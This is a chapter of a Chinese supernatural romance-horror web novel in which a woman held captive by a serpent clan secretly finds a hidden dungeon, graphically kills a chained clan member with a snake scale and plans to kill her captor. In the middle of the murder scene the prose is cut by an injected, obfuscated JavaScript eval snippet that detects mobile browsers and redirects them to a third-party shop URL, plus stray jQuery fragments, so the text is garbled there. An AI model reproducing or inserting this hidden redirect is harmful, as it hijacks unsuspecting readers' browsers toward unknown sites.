20. 蛇神的命门

作品:《鬼国异志

    当院子里的第一朵木芙蓉开花的时候,秦颂正站在落地窗前,望着窗外的阳光发呆。


    春去秋来,她已经被殷九斯囚禁在这个不知名的鬼地方两年了。


    从殷家鼓楼,到殷家老宅,她虽然一直生活在殷家的范围内,但她其实对于这个古老神秘的家族还是完全不了解,仅仅知道殷九斯与殷望是九婴族。


    却从来没有见到过其他的殷家人。


    “在想什么呢?”殷九斯不知何时来到了她的身后,从后面环抱住她的腰身,下巴轻轻叩在她的肩膀之上,说话时,温热的气息喷洒在她的耳垂。


    因为环抱的姿势,殷九斯的腰腹部贴在秦颂的后腰上面,因此秦颂能够感觉到,一阵强有力的跳动,正从他的腰腹部传来,“咚—咚”跳动着。


    是那个孩子。


    未出世的,性别不明的孩子。


    有力的跳动节奏,是孩子昭示自己存在的方式。


    殷九斯说,这会是个男孩。


    因为九婴族无法孕育女性,这是女神对于他们的束缚,也是责罚。


    每一个九婴后裔,都是由父亲来生育的。


    “在想我什么时候能离开。”秦颂的语气淡淡的,带着一种她自己都没有察觉出来的疲惫与淡漠。


    殷九斯搂抱着她,跟她一起看创窗外那朵盛开的木芙蓉。


    浅粉中带着嫩黄的花朵,在泠冽的秋风中颤抖着,却又坚韧地长在枝头,牢牢抓紧属于自己的枝条,不肯掉落一片花瓣。


    “很快了。”殷九斯收紧怀抱,双手在秦颂的腰间使力,将她转了一个圈,面向自己,然后低头想要吻她。


    秦颂侧过头想要闪躲,却被殷九斯强硬地固定住脑袋,然后用力地吻了下来。


    也不知道殷九斯为什么突然就发了脾气,莫名其妙,秦颂懒得去猜,任由他在自己的唇上发泄着情绪。


    直到他终于亲够了,才放过秦颂。


    屋外的光线渐暗,秋天天黑得早,大厅里的时钟五点刚过,殷九斯就让秦颂早点回房休息。


    殷九斯今天穿着一件宽松的米色棉麻衬衫,下面是配套的米色家居裤,看起来十分闲散舒适。


    “今晚早点睡吧。”


    殷九斯调好了一杯温热的蜂蜜水,递给秦颂。


    “喝了晚上就能睡得好。”


    秦颂接在手里,只是拿着,不着急喝。


    “你不跟我一起睡?”她问道。


    殷九斯面上神色淡淡,看不出他有什么情绪。


    “今晚孩子就要出生了。”


    听到这话,秦颂握着杯子的手在暗中不由得用了一下力,她尽力让自己的表情保持自然,看不出什么破绽来。


    她点了点头,抬头望向殷九斯,“需要我做点什么吗?”


    殷九斯用眼神示意她手里的那杯蜂蜜水,“喝完它,乖乖睡一觉就好。”


    秦颂强壮镇定地点点头,“好,我回房就喝。”


    殷九斯喉间发出了一声“嗯”,但是站在原地没有动作,维持着双手插兜的姿态,看着秦颂。


    他这是在等秦颂先回房间,然后他才会去专属的“产房”生孩子。


    他虽然怀孕了,但是从外形看不出任何差别,只有在抱着秦颂的时候,秦颂才能感受到,他腰腹间皮肤之下,那一股不属于他的强有力跳动感,是来自于一个未出世的孩子。


    秦颂端着蜂蜜水,从沙发上站起身来,光滑柔软的丝绸睡裙垂坠在她的脚背之上,她裹紧披肩,缓步走上了楼梯,朝着房间走去。


    殷九斯没有跟着她,只是站在原地,抬头望着她离去的背影,直到一分钟后,听到二楼传来的关门声,确认秦颂回房后,他才离开。


    他没有发现,从始自终,秦颂都没有回到房间里,那一声关门的动静,是秦颂使用自制小道具关上的。


    她一直站在楼梯拐角处,不会被殷九斯看见的阴影里,冷冷地注视着殷九斯转身离开的模样。


    然后亲眼看着殷九斯走进了地下室的通道。


    殷家老宅有一道楼梯,是通往地下的。


    殷九斯没有限制过她去地下室探索,秦颂去看过,那里就只是一个空荡荡的水泥房间,什么都没有,只在天花板上悬挂着一个白色灯泡,散发着惨白的灯光。


    看着殷九斯消失在地下室门口的背影,秦颂确定了,那里有别的空间存在,只是她看不见而已。


    但没关系,她有的是办法。


    静待两分钟之后,秦颂穿上一双羊毛袜,这样就不会发出任何脚步声。然后踩在地板上,悄然靠近地下室。


    她拿出装着蛇鳞的袋子,里面还放着一张半湿的化妆棉片,棉片上沾染着的,是昨天蛇鳞拔下来时,沾着的蛇血。


    秦颂拿起棉片,在自己额头中央的印堂穴擦了擦,然后闭上眼睛,凝神静气几秒钟后,再睁开眼睛时,原本空档无一物的地下室房间,瞬间变得不一样了。


    传说中人是有第三只眼的,就在额头中央的印堂穴位置,人的直觉,内在感知,都可以通过“第三只眼”去察觉。


    而蛇神血可以激发人的第三只眼睛,从而能够看见一些平时肉眼无法看到的东西。


    开启第三只眼后,秦颂能够清楚地看到,地下室的水泥房间,变成了一个漆黑幽深的空间,伸手不见五指,看不见殷九斯的背影,也看不到任何事物,但却能够隐约听到,男人痛苦的呻吟声。


    秦颂重新闭起眼睛,凝聚注意力,然后循着那道呻吟声慢慢走过去,不知道走了多久,她的手触摸到了一片冰冷的墙壁,然后就睁开了眼睛。


    眼前是一片开阔的天地景象,让秦颂大吃一惊,她什么时候从地下室走到外面的?


    惨白的月亮之下,青黑色的雾气弥漫着,一个破败的枯井旁边,一个男人正被铁链锁在井边,他低垂着头,不时发出痛苦的呻吟声。


    秦颂抬起脚步,踩在了一片枯叶之上,清脆的碎叶声让男人抬起了头。


    清冷的月光之下,秦颂看清了他的面容,是殷望。


    “咳……”殷望扯出一抹嘲讽的笑,嘴角的血痂看起来十分吓人,“你居然能找到这里来……哥哥,你千防万防,还是没防住啊。”


    秦颂小心翼翼地环顾四周,除了他俩,附近没有任何一丝活物的气息。


    “这是哪里?”她问道。


    “殷家的地牢,九婴族秘境。”殷望回道,昔日那双翠绿色的蛇瞳,此时胀满了红血丝,正盯着秦颂看。


    秦颂抬起脚,朝他走去,然后在他面前站定。


    被铁链锁着的殷望,只能跪坐在井边,费力地抬起头,仰望着她。


    两人互相对视着,不发一语。


    然后,秦颂就抬起脚,猛然地踹了殷望一下,狠狠地把他踹倒在井边。


    “咳咳……你!咳咳!”殷望趴在井边湿漉漉的泥地之上,狼狈地咳着,还咳出了一丝血水。


    秦颂傲然地俯视着他,比月色更寒冷的双眸,不带一丝感情。


    “我什么?我为什么要踹你是吗?”秦颂替他说完想要问的问题,然后唇边扯出了一抹空洞的冷笑。


    “我不仅要踹你,我还要杀了你。”


    说完这句话,秦颂拿出了那片泛着冷光的蛇鳞。


    殷望看到了,只是不屑地笑了笑,“一片蛇鳞你就想……”


    话未说完,坚硬的蛇鳞已经以一股无法阻挡的迅猛之势,隔开了他的喉咙。


    温热的蛇血溅到秦颂的脸上,白皙姣好的美人面上,画出艳丽的红梅花。


    殷望想要捂住喉咙,但双手被铁链捆住,蛇尾也被长钉钉死在井边,他拼命挣扎,却无能为力。


    因为殷九斯已经抽出了他的神力,他现在只是一条普通而又丑陋的半人半蛇。


    被困在这片永夜的九婴秘境地牢之中。


    “呵呵。”秦颂喉间发出笑意,她满意地看着殷望恐惧而扭曲的脸,“这就是惹怒我的下场。”


    “你害得我被殷九斯折磨了那么久,杀了你,都不足泄愤。”


    “杀完你,我就要去杀殷九斯。”


    说完,秦颂一手用力抓住殷望的头发,然后把他的头往下一按,露出脖子,接着手中的鳞片又是利落一划,殷望的脖子顺间被化开一道深深的血痕,一条金黄色的细线在血肉中若隐若现。


    秦颂没有犹豫,用蛇鳞挑出那条细线,然后割破它。


    殷望几乎是顷刻间就软下了身子,彻底倒在井边,一动不动了。


    秦颂眼看着他的皮肤渐渐褪去血色,变成青白色,死尸般的颜色。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269979|197812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>因为秦颂挑破了他的蛇髓。


    那是蛇神的命门。


    如果不是因为他被关在地牢里,失去了神力,秦颂也没有那么快能成功。


    秦颂端详着手中这片还在往下滴血的蛇鳞。


    这就是极寒之物。


    九婴族大概没想到,能杀死他们的,就是自己身上的蛇鳞。


    接着秦颂又用鳞片划破了殷望的眼睛,过程很血腥,很残忍。


    但是被囚禁两年,秦颂也早就被折磨得有些精神恍惚了,她觉得杀蛇跟杀鱼已经没有区别了。


    她这辈子都不想再见到殷家人了。


    划破他们的眼睛,这样永世都不会再找到自己了。


    惨白的月色之下,黑青色的雾气越来越浓重,倒在水井旁的殷望像一支枯萎的藤条,秦颂没有再多看他一眼,沿着来时的路,走了回去,重新走回那一片浓重的黑色之中。


    清晨的阳光,透过落地玻璃窗,温暖地洒在客厅里。


    秦颂坐在沙发上,捧着热茶,欣赏院子里盛开的第二朵木芙蓉。


    袅袅升起的热气,遮挡住了秦颂眼中的情绪。


    殷九斯已经消失了好几个小时,当初他明明说过,生孩子只需要半小时的。


    正想着,忽然听到地下室的房门传来动静,秦颂循声望去,只见殷九斯苍白着脸,依旧穿着昨日那身棉麻家居服,怀里抱着一个襁褓,出现在过道上。


    看见秦颂坐在沙发上,转头望向自己,殷九斯扯出了一抹淡笑,抱着襁褓,走到秦颂身边。


    “抱抱他吧。”


    殷九斯坐到她的身边,手臂低放,露出了怀里的孩子。


    刚出生的蛇婴与人类婴儿皱巴巴的脸不一样,蛇婴的脸白润粉嫩,此时他正闭着眼睛在襁褓中酣睡着。


    秦颂看着这个孩子,心里完全是一阵恶心与反感的情绪。


    见她没有动作,殷九斯僵硬着手臂,想要强行把孩子往她怀里塞,秦颂立马站了起来,躲到一边,殷九斯猝不及防,孩子差点摔在地上。


    “为什么不愿意抱他?”殷九斯抬起脸,冷冷问道。


    “我不喜欢小孩子。”丢下这句话之后,秦颂就脚步匆忙地走回了二楼房间,完全不管刚出生的孩子,以及刚生育完的殷九斯。


    她表现得就像是一个冷漠且不负责任的丈夫。


    但她完全不觉得,这有什么错的。


    这个孩子从始自终就不是她想要的,是殷九斯逼迫她的。


    她无需为自己不愿意,却被别人强迫着发生了的事情负责。


    接下来的几天里,这个孩子以一种惊人的速度在成长着,短短几日便长得跟几个月的婴儿一样大,这也许跟殷九斯不分昼夜地悉心照顾也有关系。


    殷九斯总想让她亲近这个孩子,但她已经无法掩饰住自己对孩子的厌恶与排斥,顶多是站在远远的地方,看着殷九斯哄孩子。


    其实她也在观察,看着这个孩子的变化。


    九婴族的孩子出生后的第五日,将会迎来第一次换髓。


    他的父亲会为他种下独属于九婴族的神髓。


    而到了那个时候,也是殷九斯最脆弱的时刻。


    换髓之时,殷九斯神力会有短暂的脱力时刻,秦颂要趁着这个时候,杀掉殷九斯。


    秦颂站在过道上,看着殷九斯照顾孩子的样子,想得出神,没有察觉到,殷九斯已经把孩子抱了起来,走到她的面前。


    “你看,他长得多像你啊。”


    这个孩子已经不需要再用襁褓包着,他穿着特质的婴儿服,短小的蛇尾被包裹在衣服里看不见,此时正睁着眼睛,好奇地望着秦颂。


    秦颂回过神,冷不丁与孩子的眼睛对视上,然后又立马移开了眼睛。


    孩子还小,还没进化出人类的眼睛,一双蛇眼就长在他的脸上,十分怪异。


    “他跟我……”秦颂本想说这个孩子跟自己长得完全不像,那双眼睛一看就是殷九斯的印记。


    但她最后没有说出这番话。


    她不想承认,她跟殷九斯之间,已经存在了一个密不可分的联系。


    就是这个孩子。


    殷九斯笑了,“他像你,又像我。”


    “颂颂,这个孩子,是我为你生下的,你高兴吗?”